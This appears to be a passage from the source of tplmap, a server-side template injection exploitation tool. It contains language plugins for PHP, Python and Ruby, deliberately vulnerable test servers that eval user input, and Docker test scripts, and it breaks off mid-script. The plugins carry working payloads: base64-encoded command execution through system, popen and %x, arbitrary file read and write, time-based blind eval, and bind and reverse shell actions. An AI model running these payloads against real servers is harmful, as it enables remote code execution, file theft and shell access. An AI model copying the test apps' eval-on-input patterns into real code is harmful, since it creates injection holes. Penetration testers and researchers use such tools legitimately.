-------------------------------------------------------------------------------- 1 | from utils.strings import quote, chunkit, md5 2 | from utils.loggers import log 3 | from plugins.languages import bash 4 | from core.plugin import Plugin 5 | from utils import closures 6 | from utils import rand 7 | import base64 8 | import re 9 | 10 | 11 | class Php(Plugin): 12 | 13 | 14 | def language_init(self): 15 | 16 | self.update_actions({ 17 | 'render' : { 18 | 'call': 'inject', 19 | 'render': """%(code)s""", 20 | 'header': """print_r('%(header)s');""", 21 | 'trailer': """print_r('%(trailer)s');""", 22 | 'test_render': 'print(%(r1)s);' % { 23 | 'r1' : rand.randints[0] 24 | }, 25 | 'test_render_expected': '%(r1)s' % { 26 | 'r1' : rand.randints[0] 27 | } 28 | }, 29 | 'write' : { 30 | 'call' : 'evaluate', 31 | 'write' : """$d="%(chunk_b64)s"; file_put_contents("%(path)s", base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)),FILE_APPEND);""", 32 | 'truncate' : """file_put_contents("%(path)s", "");""" 33 | }, 34 | 'read' : { 35 | 'call': 'evaluate', 36 | 'read' : """print(base64_encode(file_get_contents("%(path)s")));""" 37 | }, 38 | 'md5' : { 39 | 'call': 'evaluate', 40 | 'md5': """is_file("%(path)s") && print(md5_file("%(path)s"));""" 41 | }, 42 | 'evaluate' : { 43 | 'call': 'render', 44 | 'evaluate': """%(code)s""", 45 | 'test_os' : 'echo PHP_OS;', 46 | 'test_os_expected': '^[\w-]+$' 47 | }, 48 | 'execute' : { 49 | 'call': 'evaluate', 50 | 'execute': """$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d,'-_','+/'),strlen($d)%%4,'=',STR_PAD_RIGHT)));""", 51 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] }, 52 | 'test_cmd_expected': rand.randstrings[2] 53 | }, 54 | 'blind' : { 55 | 'call': 'evaluate_blind', 56 | 'test_bool_true' : """True""", 57 | 'test_bool_false' : """False""" 58 | }, 59 | 'evaluate_blind' : { 60 | 'call': 'inject', 61 | 'evaluate_blind': """$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");""" 62 | }, 63 | 'execute_blind' : { 64 | 'call': 'inject', 65 | 'execute_blind': """$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)). " && sleep %(delay)i");""" 66 | }, 67 | 'bind_shell' : { 68 | 'call' : 'execute_blind', 69 | 'bind_shell': bash.bind_shell 70 | }, 71 | 'reverse_shell' : { 72 | 'call': 'execute_blind', 73 | 'reverse_shell' : bash.reverse_shell 74 | }, 75 | }) 76 | 77 | self.set_contexts([ 78 | 79 | # Text context, no closures 80 | { 'level': 0 }, 81 | 82 | # This terminates the statement with ; 83 | { 'level': 1, 'prefix' : '%(closure)s;', 'suffix' : '//', 'closures' : ctx_closures }, 84 | 85 | # This does not need termination e.g. if(%s) {} 86 | { 'level': 2, 'prefix' : '%(closure)s', 'suffix' : '//', 'closures' : ctx_closures }, 87 | 88 | # Comment blocks 89 | { 'level': 5, 'prefix' : '*/', 'suffix' : '/*' }, 90 | 91 | ]) 92 | 93 | language = 'php' 94 | 95 | 96 | ctx_closures = { 97 | 1: [ 98 | closures.close_single_duble_quotes + closures.integer, 99 | closures.close_function + closures.empty 100 | ], 101 | 2: [ 102 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 103 | closures.close_function + closures.empty 104 | ], 105 | 3: [ 106 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 107 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 108 | ], 109 | 4: [ 110 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 111 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 112 | ], 113 | 5: [ 114 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var, 115 | closures.close_function + closures.close_list + closures.close_dict + closures.empty, 116 | closures.close_function + closures.close_list + closures.empty, 117 | ] 118 | } 119 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/languages/python.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from core.plugin import Plugin 3 | from utils import closures 4 | from plugins.languages import bash 5 | from utils.loggers import log 6 | from utils import rand 7 | import base64 8 | import re 9 | 10 | class Python(Plugin): 11 | 12 | def language_init(self): 13 | 14 | self.update_actions({ 15 | 'render' : { 16 | 'render': """str(%(code)s)""", 17 | 'header': """'%(header)s'+""", 18 | 'trailer': """+'%(trailer)s'""", 19 | 'test_render': """'%(s1)s'.join('%(s2)s')""" % { 20 | 's1' : rand.randstrings[0], 21 | 's2' : rand.randstrings[1] 22 | }, 23 | 'test_render_expected': '%(res)s' % { 24 | 'res' : rand.randstrings[0].join(rand.randstrings[1]) 25 | } 26 | }, 27 | 'write' : { 28 | 'call' : 'evaluate', 29 | 'write' : """open("%(path)s", 'ab+').write(__import__("base64").urlsafe_b64decode('%(chunk_b64)s'))""", 30 | 'truncate' : """open("%(path)s", 'w').close()""" 31 | }, 32 | 'read' : { 33 | 'call': 'evaluate', 34 | 'read' : """__import__("base64").b64encode(open("%(path)s", "rb").read())""" 35 | }, 36 | 'md5' : { 37 | 'call': 'evaluate', 38 | 'md5': """__import__("hashlib").md5(open("%(path)s", 'rb').read()).hexdigest()""" 39 | }, 40 | 'evaluate' : { 41 | 'call': 'render', 42 | 'evaluate': """%(code)s""", 43 | 'test_os': """'-'.join([__import__('os').name, __import__('sys').platform])""", 44 | 'test_os_expected': '^[\w-]+$' 45 | }, 46 | 'execute' : { 47 | 'call': 'evaluate', 48 | 'execute': """__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()).read()""", 49 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] }, 50 | 'test_cmd_expected': rand.randstrings[2] 51 | }, 52 | 'blind' : { 53 | 'call': 'evaluate_blind', 54 | 'test_bool_true' : """'a'.join('ab') == 'aab'""", 55 | 'test_bool_false' : 'True == False' 56 | }, 57 | 'evaluate_blind' : { 58 | 'call': 'evaluate', 59 | 'evaluate_blind': """eval(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()) and __import__('time').sleep(%(delay)i)""" 60 | }, 61 | 'bind_shell' : { 62 | 'call' : 'execute_blind', 63 | 'bind_shell': bash.bind_shell 64 | }, 65 | 'reverse_shell' : { 66 | 'call': 'execute_blind', 67 | 'reverse_shell' : bash.reverse_shell 68 | }, 69 | 'execute_blind' : { 70 | 'call': 'evaluate', 71 | 'execute_blind': """__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode() + ' && sleep %(delay)i').read()""" 72 | }, 73 | }) 74 | 75 | self.set_contexts([ 76 | 77 | # Text context, no closures 78 | { 'level': 0 }, 79 | 80 | # Code context escape with eval() injection is not easy, since eval is used to evaluate a single 81 | # dynamically generated Python expression e.g. eval("""1;print 1"""); would fail. 82 | 83 | # TODO: the plugin should support the exec() injections, which can be assisted by code context escape 84 | 85 | ]) 86 | 87 | language = 'python' 88 | 89 | 90 | ctx_closures = { 91 | 1: [ 92 | closures.close_single_duble_quotes + closures.integer, 93 | closures.close_function + closures.empty 94 | ], 95 | 2: [ 96 | closures.close_single_duble_quotes + closures.integer + closures.string, 97 | closures.close_function + closures.empty 98 | ], 99 | 3: [ 100 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes, 101 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 102 | ], 103 | 4: [ 104 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes, 105 | closures.close_function + closures.close_list + closures.close_dict + closures.empty 106 | ], 107 | 5: [ 108 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes, 109 | closures.close_function + closures.close_list + closures.close_dict + closures.empty, 110 | closures.close_function + closures.close_list + closures.empty, 111 | closures.if_loops + closures.empty 112 | ], 113 | } 114 | 115 | -------------------------------------------------------------------------------- /modules/tplmap/plugins/languages/ruby.py: -------------------------------------------------------------------------------- 1 | from utils.strings import quote 2 | from core.plugin import Plugin 3 | from plugins.languages import bash 4 | from utils.loggers import log 5 | from utils import rand 6 | import base64 7 | import re 8 | 9 | class Ruby(Plugin): 10 | 11 | def language_init(self): 12 | 13 | self.update_actions({ 14 | 'render' : { 15 | 'render': '"#{%(code)s}"', 16 | 'header': """'%(header)s'+""", 17 | 'trailer': """+'%(trailer)s'""", 18 | 'test_render': """%(s1)i*%(s2)i""" % { 19 | 's1' : rand.randints[0], 20 | 's2' : rand.randints[1] 21 | }, 22 | 'test_render_expected': '%(res)s' % { 23 | 'res' : rand.randints[0]*rand.randints[1] 24 | } 25 | }, 26 | 'write' : { 27 | 'call' : 'inject', 28 | 'write': """require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) }""", 29 | 'truncate' : """File.truncate('%(path)s', 0)""" 30 | }, 31 | 'read' : { 32 | 'call': 'evaluate', 33 | 'read': """(require'base64';Base64.encode64(File.binread("%(path)s"))).to_s""", 34 | }, 35 | 'md5' : { 36 | 'call': 'evaluate', 37 | 'md5': """(require'digest';Digest::MD5.file("%(path)s")).to_s""" 38 | }, 39 | 'evaluate' : { 40 | 'call': 'render', 41 | 'evaluate': """%(code)s""", 42 | 'test_os' : """RUBY_PLATFORM""", 43 | 'test_os_expected': '^[\w._-]+$' 44 | }, 45 | 'execute' : { 46 | 'call': 'evaluate', 47 | 'execute': """(require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')})).to_s""", 48 | 'test_cmd': bash.echo % { 's1': rand.randstrings[2] }, 49 | 'test_cmd_expected': rand.randstrings[2] 50 | }, 51 | 'blind' : { 52 | 'call': 'evaluate_blind', 53 | 'test_bool_true' : """1.to_s=='1'""", 54 | 'test_bool_false' : """1.to_s=='2'""" 55 | }, 56 | 'evaluate_blind' : { 57 | 'call': 'inject', 58 | 'evaluate_blind': """require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i)""" 59 | }, 60 | 'bind_shell' : { 61 | 'call' : 'execute_blind', 62 | 'bind_shell': bash.bind_shell 63 | }, 64 | 'reverse_shell' : { 65 | 'call': 'execute_blind', 66 | 'reverse_shell' : bash.reverse_shell 67 | }, 68 | 'execute_blind' : { 69 | 'call': 'inject', 70 | 'execute_blind': """require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')+' && sleep %(delay)i'})""" 71 | }, 72 | }) 73 | 74 | self.set_contexts([ 75 | 76 | # Text context, no closures 77 | { 'level': 0 }, 78 | ]) 79 | 80 | language = 'ruby' 81 | -------------------------------------------------------------------------------- /modules/tplmap/requirements.txt: -------------------------------------------------------------------------------- 1 | PyYAML==3.12 2 | certifi==2017.11.5 3 | chardet==3.0.4 4 | idna==2.6 5 | requests==2.18.4 6 | urllib3==1.22 7 | wsgiref==0.1.2 8 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_java_tests/spark-app/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id "java" 3 | id "application" 4 | id "com.github.johnrengelman.shadow" version "1.2.3" 5 | } 6 | 7 | group 'org.tplmap.webframeworks' 8 | version '1.0-SNAPSHOT' 9 | 10 | 11 | sourceCompatibility = 1.8 12 | mainClassName = 'org.tplmap.webframeworks.SparkApplication' 13 | 14 | 15 | repositories { 16 | jcenter() 17 | mavenCentral() 18 | } 19 | 20 | dependencies { 21 | compile 'com.sparkjava:spark-core:2.3' 22 | compile group: 'org.freemarker', name: 'freemarker', version: '2.3.14' 23 | compile group: 'org.apache.velocity', name: 'velocity', version: '1.6.2' 24 | testCompile group: 'junit', name: 'junit', version: '4.11' 25 | } 26 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_java_tests/spark-app/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | #Wed Feb 17 14:28:33 EET 2016 2 | distributionBase=GRADLE_USER_HOME 3 | distributionPath=wrapper/dists 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | distributionUrl=https\://services.gradle.org/distributions/gradle-2.5-all.zip 7 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_java_tests/spark-app/settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'spark-app' 2 | 3 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_java_tests/spark-app/src/main/java/org/tplmap/webframeworks/SparkApplication.java: -------------------------------------------------------------------------------- 1 | package org.tplmap.webframeworks; 2 | import spark.Request; 3 | import spark.Response; 4 | import spark.Route; 5 | import freemarker.template.Configuration; 6 | import freemarker.template.Template; 7 | import freemarker.template.TemplateException; 8 | import java.io.StringReader; 9 | import java.io.IOException; 10 | import java.io.StringWriter; 11 | import java.util.HashMap; 12 | import org.apache.velocity.VelocityContext ; 13 | import org.apache.velocity.app.VelocityEngine ; 14 | import org.apache.velocity.exception.MethodInvocationException ; 15 | import org.apache.velocity.exception.ParseErrorException ; 16 | import org.apache.velocity.exception.ResourceNotFoundException ; 17 | import org.apache.velocity.runtime.RuntimeConstants ; 18 | import org.apache.velocity.runtime.log.LogChute ; 19 | import org.apache.velocity.runtime.log.NullLogChute ; 20 | import java.util.UUID; 21 | 22 | import static spark.Spark.*; 23 | 24 | public class SparkApplication { 25 | 26 | public static void main(String[] args) { 27 | port(15003); 28 | get("/freemarker", SparkApplication::freemarker); 29 | get("/velocity", SparkApplication::velocity); 30 | } 31 | 32 | public static Object velocity(Request request, Response response) { 33 | 34 | 35 | // Get inj parameter, exit if none 36 | String inj = request.queryParams("inj"); 37 | if(inj == null) { 38 | return ""; 39 | } 40 | 41 | // Get tpl parameter 42 | String tpl = request.queryParams("tpl"); 43 | 44 | // If tpl exists 45 | if(tpl != null && !tpl.isEmpty()) { 46 | // Keep the formatting a-la-python 47 | tpl = tpl.replace("%s", inj); 48 | } 49 | else { 50 | tpl = inj; 51 | } 52 | 53 | String blind = request.queryParams("blind"); 54 | 55 | LogChute velocityLogChute = new NullLogChute() ; 56 | VelocityEngine velocity; 57 | StringWriter w; 58 | try{ 59 | velocity = new VelocityEngine() ; 60 | // Turn off logging - catch exceptions and log ourselves 61 | velocity.setProperty(RuntimeConstants.RUNTIME_LOG_LOGSYSTEM, velocityLogChute) ; 62 | velocity.setProperty(RuntimeConstants.INPUT_ENCODING, "UTF-8") ; 63 | velocity.init() ; 64 | 65 | VelocityContext context = new VelocityContext(); 66 | w = new StringWriter(); 67 | 68 | velocity.evaluate( context, w, "mystring", tpl ); 69 | 70 | 71 | }catch(Exception e){ 72 | e.printStackTrace(); 73 | return ""; 74 | } 75 | 76 | // Return out string if not blind 77 | if(blind == null){ 78 | return UUID.randomUUID().toString() + w.toString() + UUID.randomUUID().toString(); 79 | } 80 | else { 81 | return UUID.randomUUID().toString(); 82 | } 83 | } 84 | 85 | public static Object freemarker(Request request, Response response) { 86 | 87 | // Get inj parameter, exit if none 88 | String inj = request.queryParams("inj"); 89 | if(inj == null) { 90 | return ""; 91 | } 92 | 93 | // Get tpl parameter 94 | String tpl = request.queryParams("tpl"); 95 | 96 | // If tpl exists 97 | if(tpl != null && !tpl.isEmpty()) { 98 | // Keep the formatting a-la-python 99 | tpl = tpl.replace("%s", inj); 100 | } 101 | else { 102 | tpl = inj; 103 | } 104 | 105 | // Get blind parameter 106 | String blind = request.queryParams("blind"); 107 | 108 | // Generate template from "inj" 109 | Template template; 110 | try{ 111 | template = new Template("name", new StringReader(tpl), new Configuration()); 112 | }catch(IOException e){ 113 | e.printStackTrace(); 114 | return ""; 115 | } 116 | 117 | // Write processed template to out 118 | HashMap data = new HashMap(); 119 | StringWriter out = new StringWriter(); 120 | try{ 121 | template.process(data, out); 122 | }catch(TemplateException | IOException e){ 123 | e.printStackTrace(); 124 | return ""; 125 | } 126 | 127 | // Return out string if not blind 128 | if(blind == null){ 129 | return UUID.randomUUID().toString() + out.toString() + UUID.randomUUID().toString(); 130 | } 131 | else { 132 | return UUID.randomUUID().toString(); 133 | } 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_java_tests/spark-app/src/main/resources/templates/hello.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Hello world 6 | 7 | 8 |

Hello, [[${name}]]!

9 | 10 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_php_tests/eval.php: -------------------------------------------------------------------------------- 1 | : ' . $rendered); 21 | echo generateRandomString(); 22 | } 23 | else { 24 | error_log('DEBUG< : ' . $tpl); 25 | ob_start(); 26 | $rendered = eval($tpl); 27 | ob_end_clean(); 28 | error_log('DEBUG> : ' . $rendered); 29 | echo generateRandomString(); 30 | } 31 | ?> 32 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_php_tests/smarty-3.1.32-secured.php: -------------------------------------------------------------------------------- 1 | clearAllCache(); 12 | 13 | $inj=$_GET["inj"]; 14 | if(isset($_GET["tpl"]) && $_GET["tpl"] != "") { 15 | // Keep the formatting a-la-python 16 | $tpl=str_replace("%s", $inj, $_GET["tpl"]); 17 | } 18 | else { 19 | $tpl=$inj; 20 | } 21 | 22 | error_log('DEBUG< : ' . $tpl); 23 | $rendered = $smarty->fetch('string:'.$tpl); 24 | error_log('DEBUG> : ' . $rendered); 25 | 26 | if(!$_GET["blind"]) { 27 | echo generateRandomString() . $rendered . generateRandomString(); 28 | } 29 | else { 30 | echo generateRandomString(); 31 | } 32 | ?> 33 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_php_tests/smarty-3.1.32-unsecured.php: -------------------------------------------------------------------------------- 1 | clearAllCache(); 12 | 13 | // Run render via CLI 14 | if (php_sapi_name() == "cli") { 15 | $_GET["inj"] = ''; 16 | $_GET["tpl"] = ''; 17 | } 18 | 19 | $inj=$_GET["inj"]; 20 | if(isset($_GET["tpl"]) && $_GET["tpl"] != "") { 21 | // Keep the formatting a-la-python 22 | $tpl=str_replace("%s", $inj, $_GET["tpl"]); 23 | } 24 | else { 25 | $tpl=$inj; 26 | } 27 | 28 | error_log('DEBUG< : ' . $tpl); 29 | $rendered = $smarty->fetch('string:'.$tpl); 30 | error_log('DEBUG> : ' . $rendered); 31 | 32 | if(!$_GET["blind"]) { 33 | echo generateRandomString() . $rendered . generateRandomString(); 34 | } 35 | else { 36 | echo generateRandomString(); 37 | } 38 | ?> 39 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_php_tests/twig-1.19.0-unsecured.php: -------------------------------------------------------------------------------- 1 | $tpl, 27 | )); 28 | $twig = new Twig_Environment($loader); 29 | 30 | error_log('DEBUG<: ' . $tpl); 31 | $rendered = $twig->render('tpl'); 32 | error_log('DEBUG> : ' . $rendered); 33 | 34 | if(!$_GET["blind"]) { 35 | echo generateRandomString() . $rendered . generateRandomString(); 36 | } 37 | else { 38 | echo generateRandomString(); 39 | } 40 | ?> 41 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_php_tests/twig-1.20.0-secured.php: -------------------------------------------------------------------------------- 1 | $tpl, 27 | )); 28 | $twig = new Twig_Environment($loader); 29 | 30 | error_log('DEBUG<: ' . $tpl); 31 | $rendered = $twig->render('tpl'); 32 | error_log('DEBUG> : ' . $rendered); 33 | 34 | if(!$_GET["blind"]) { 35 | echo generateRandomString() . $rendered . generateRandomString(); 36 | } 37 | else { 38 | echo generateRandomString(); 39 | } 40 | ?> 41 | -------------------------------------------------------------------------------- /modules/tplmap/tests/env_ruby_tests/config.ru: -------------------------------------------------------------------------------- 1 | require "./webserver" 2 | 3 | run Cuba -------------------------------------------------------------------------------- /modules/tplmap/tests/env_ruby_tests/webserver.rb: -------------------------------------------------------------------------------- 1 | require "cuba" 2 | require "cuba/safe" 3 | 4 | require 'tilt' 5 | require 'slim' 6 | require 'erb' 7 | 8 | Cuba.plugin Cuba::Safe 9 | 10 | Cuba.define do 11 | on get do 12 | on "reflect/:engine" do |engine| 13 | # Keep the formatting a-la-python 14 | on param("inj"), param("tpl", "%s") do |inj, tpl| 15 | 16 | tpl = tpl.gsub('%s', inj) 17 | 18 | case engine 19 | when "eval" 20 | res.write eval(tpl) 21 | when "slim" 22 | template = Tilt['slim'].new() {|x| tpl} 23 | res.write template.render 24 | when "erb" 25 | template = Tilt['erb'].new() {|x| tpl} 26 | res.write template.render 27 | else 28 | res.write "#{engine} #{inj} #{tpl}" 29 | end 30 | 31 | end 32 | end 33 | on "blind/:engine" do |engine| 34 | # Keep the formatting a-la-python 35 | on param("inj"), param("tpl", "%s") do |inj, tpl| 36 | 37 | tpl = tpl.gsub('%s', inj) 38 | 39 | case engine 40 | when "eval" 41 | eval(tpl) 42 | when "slim" 43 | template = Tilt['slim'].new() {|x| tpl} 44 | template.render 45 | when "erb" 46 | template = Tilt['erb'].new() {|x| tpl} 47 | template.render 48 | else 49 | res.write "blind #{engine} #{inj} #{tpl}" 50 | end 51 | 52 | res.write "ok"; # for set 200 response status code 53 | 54 | end 55 | end 56 | on 'shutdown' do 57 | exit! 58 | end 59 | end 60 | end 61 | -------------------------------------------------------------------------------- /modules/tplmap/tests/run_channel_test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-py" 4 | IMAGE_NAME="tplmap-py-img" 5 | PORT=15001 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15001/reflect/mako?inj=* 10 | http://localhost:15001/reflect/jinja2?inj=* 11 | http://localhost:15001/post/mako?inj=* 12 | http://localhost:15001/post/jinja2?inj=* 13 | http://localhost:15001/limit/mako?inj=* 14 | http://localhost:15001/limit/jinja2?inj=* 15 | http://localhost:15001/put/mako?inj=* 16 | http://localhost:15001/put/jinja2?inj=* 17 | " 18 | 19 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 20 | 21 | docker rm -f $INSTANCE_NAME || echo '' 22 | docker build -f docker-envs/Dockerfile.python2 . -t $IMAGE_NAME 23 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 24 | 25 | # Wait until the http server is serving 26 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 27 | sleep 1 28 | done 29 | 30 | # Launch python engines tests 31 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_channel*.py' 32 | 33 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /modules/tplmap/tests/run_java_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-java" 4 | IMAGE_NAME="tplmap-java-img" 5 | PORT=15003 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15003/velocity?inj=* 10 | http://localhost:15003/velocity?inj=*&blind=1 11 | http://localhost:15003/freemarker?inj=* 12 | http://localhost:15003/freemarker?inj=*&blind=1 13 | " 14 | 15 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 16 | 17 | docker rm -f $INSTANCE_NAME || echo '' 18 | docker build -f docker-envs/Dockerfile.java . -t $IMAGE_NAME 19 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 20 | 21 | # Wait until the http server is serving 22 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 23 | sleep 1 24 | done 25 | sleep 1 26 | 27 | # Launch Java engines tests 28 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_java_*.py' 29 | 30 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /modules/tplmap/tests/run_node_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-node" 4 | IMAGE_NAME="tplmap-node-img" 5 | PORT=15004 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15004/pug?inj=* 10 | http://localhost:15004/blind/pug?inj=* 11 | http://localhost:15004/nunjucks?inj=* 12 | http://localhost:15004/blind/nunjucks?inj=* 13 | http://localhost:15004/javascript?inj=* 14 | http://localhost:15004/blind/javascript?inj=* 15 | http://localhost:15004/dot?inj=* 16 | http://localhost:15004/blind/dot?inj=* 17 | http://localhost:15004/dust?inj=* 18 | http://localhost:15004/blind/dust?inj=* 19 | http://localhost:15004/marko?inj=* 20 | http://localhost:15004/blind/marko?inj=* 21 | http://localhost:15004/ejs?inj=* 22 | http://localhost:15004/blind/ejs?inj=* 23 | " 24 | 25 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 26 | 27 | docker rm -f $INSTANCE_NAME || echo '' 28 | docker build -f docker-envs/Dockerfile.node . -t $IMAGE_NAME 29 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 30 | 31 | # Wait until the http server is serving 32 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 33 | sleep 1 34 | done 35 | 36 | # Launch node engines tests 37 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_node_*.py' 38 | 39 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /modules/tplmap/tests/run_php_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-php" 4 | IMAGE_NAME="tplmap-php-img" 5 | PORT=15002 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15002/smarty-3.1.32-secured.php?inj=* 10 | http://localhost:15002/smarty-3.1.32-unsecured.php?inj=* 11 | http://localhost:15002/smarty-3.1.32-unsecured.php?inj=*&blind=1 12 | http://localhost:15002/twig-1.24.1-secured.php?inj=* 13 | http://localhost:15002/eval.php?inj=* 14 | http://localhost:15002/eval.php?inj=*&blind=1 15 | " 16 | 17 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 18 | 19 | docker rm -f $INSTANCE_NAME || echo '' 20 | docker build -f docker-envs/Dockerfile.php . -t $IMAGE_NAME 21 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 22 | 23 | # Wait until the http server is serving 24 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 25 | sleep 1 26 | done 27 | 28 | # Launch PHP engines tests 29 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_php_*.py' 30 | 31 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /modules/tplmap/tests/run_python2_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-py2" 4 | IMAGE_NAME="tplmap-py2-img" 5 | PORT=15001 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15001/reflect/mako?inj=* 10 | http://localhost:15001/reflect/jinja2?inj=* 11 | http://localhost:15001/post/mako?inj=* 12 | http://localhost:15001/post/jinja2?inj=* 13 | http://localhost:15001/limit/mako?inj=* 14 | http://localhost:15001/limit/jinja2?inj=* 15 | http://localhost:15001/put/mako?inj=* 16 | http://localhost:15001/put/jinja2?inj=* 17 | " 18 | 19 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 20 | 21 | docker rm -f $INSTANCE_NAME || echo '' 22 | docker build -f docker-envs/Dockerfile.python2 . -t $IMAGE_NAME 23 | docker run --rm --name $INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 24 | 25 | # Wait until the http server is serving 26 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 27 | sleep 1 28 | done 29 | 30 | # Launch python engines tests 31 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_py_*.py' 32 | 33 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /modules/tplmap/tests/run_python3_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-py3" 4 | IMAGE_NAME="tplmap-py3-img" 5 | GUESTPORT=15001 6 | PORT=15006 7 | 8 | echo "Exposed testing APIs: 9 | 10 | http://localhost:15006/reflect/mako?inj=* 11 | http://localhost:15006/reflect/jinja2?inj=* 12 | http://localhost:15006/post/mako?inj=* 13 | http://localhost:15006/post/jinja2?inj=* 14 | http://localhost:15006/limit/mako?inj=* 15 | http://localhost:15006/limit/jinja2?inj=* 16 | http://localhost:15006/put/mako?inj=* 17 | http://localhost:15006/put/jinja2?inj=* 18 | " 19 | 20 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 21 | 22 | docker rm -f $INSTANCE_NAME || echo '' 23 | docker build -f docker-envs/Dockerfile.python3 . -t $IMAGE_NAME 24 | docker run --rm --name $INSTANCE_NAME -p $PORT:$GUESTPORT -d $IMAGE_NAME 25 | 26 | # Wait until the http server is serving 27 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 28 | sleep 1 29 | done 30 | 31 | # Launch python engines tests 32 | docker exec -it $INSTANCE_NAME python2 -m unittest discover -v . 'test_py_*.py' 33 | 34 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /modules/tplmap/tests/run_ruby_tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | INSTANCE_NAME="tplmap-ruby" 4 | IMAGE_NAME="tplmap-ruby-img" 5 | PORT=15005 6 | 7 | echo "Exposed testing APIs: 8 | 9 | http://localhost:15005/reflect/eval?inj=* 10 | http://localhost:15005/blind/eval?inj=* 11 | http://localhost:15005/reflect/slim?inj=* 12 | http://localhost:15005/blind/slim?inj=* 13 | http://localhost:15005/reflect/erb?inj=* 14 | http://localhost:15005/blind/erb?inj=* 15 | " 16 | 17 | cd "$( dirname "${BASH_SOURCE[0]}" )"/../ 18 | 19 | docker rm -f $INSTANCE_NAME || echo '' 20 | docker build -f docker-envs/Dockerfile.ruby . -t $IMAGE_NAME 21 | docker run --rm --name 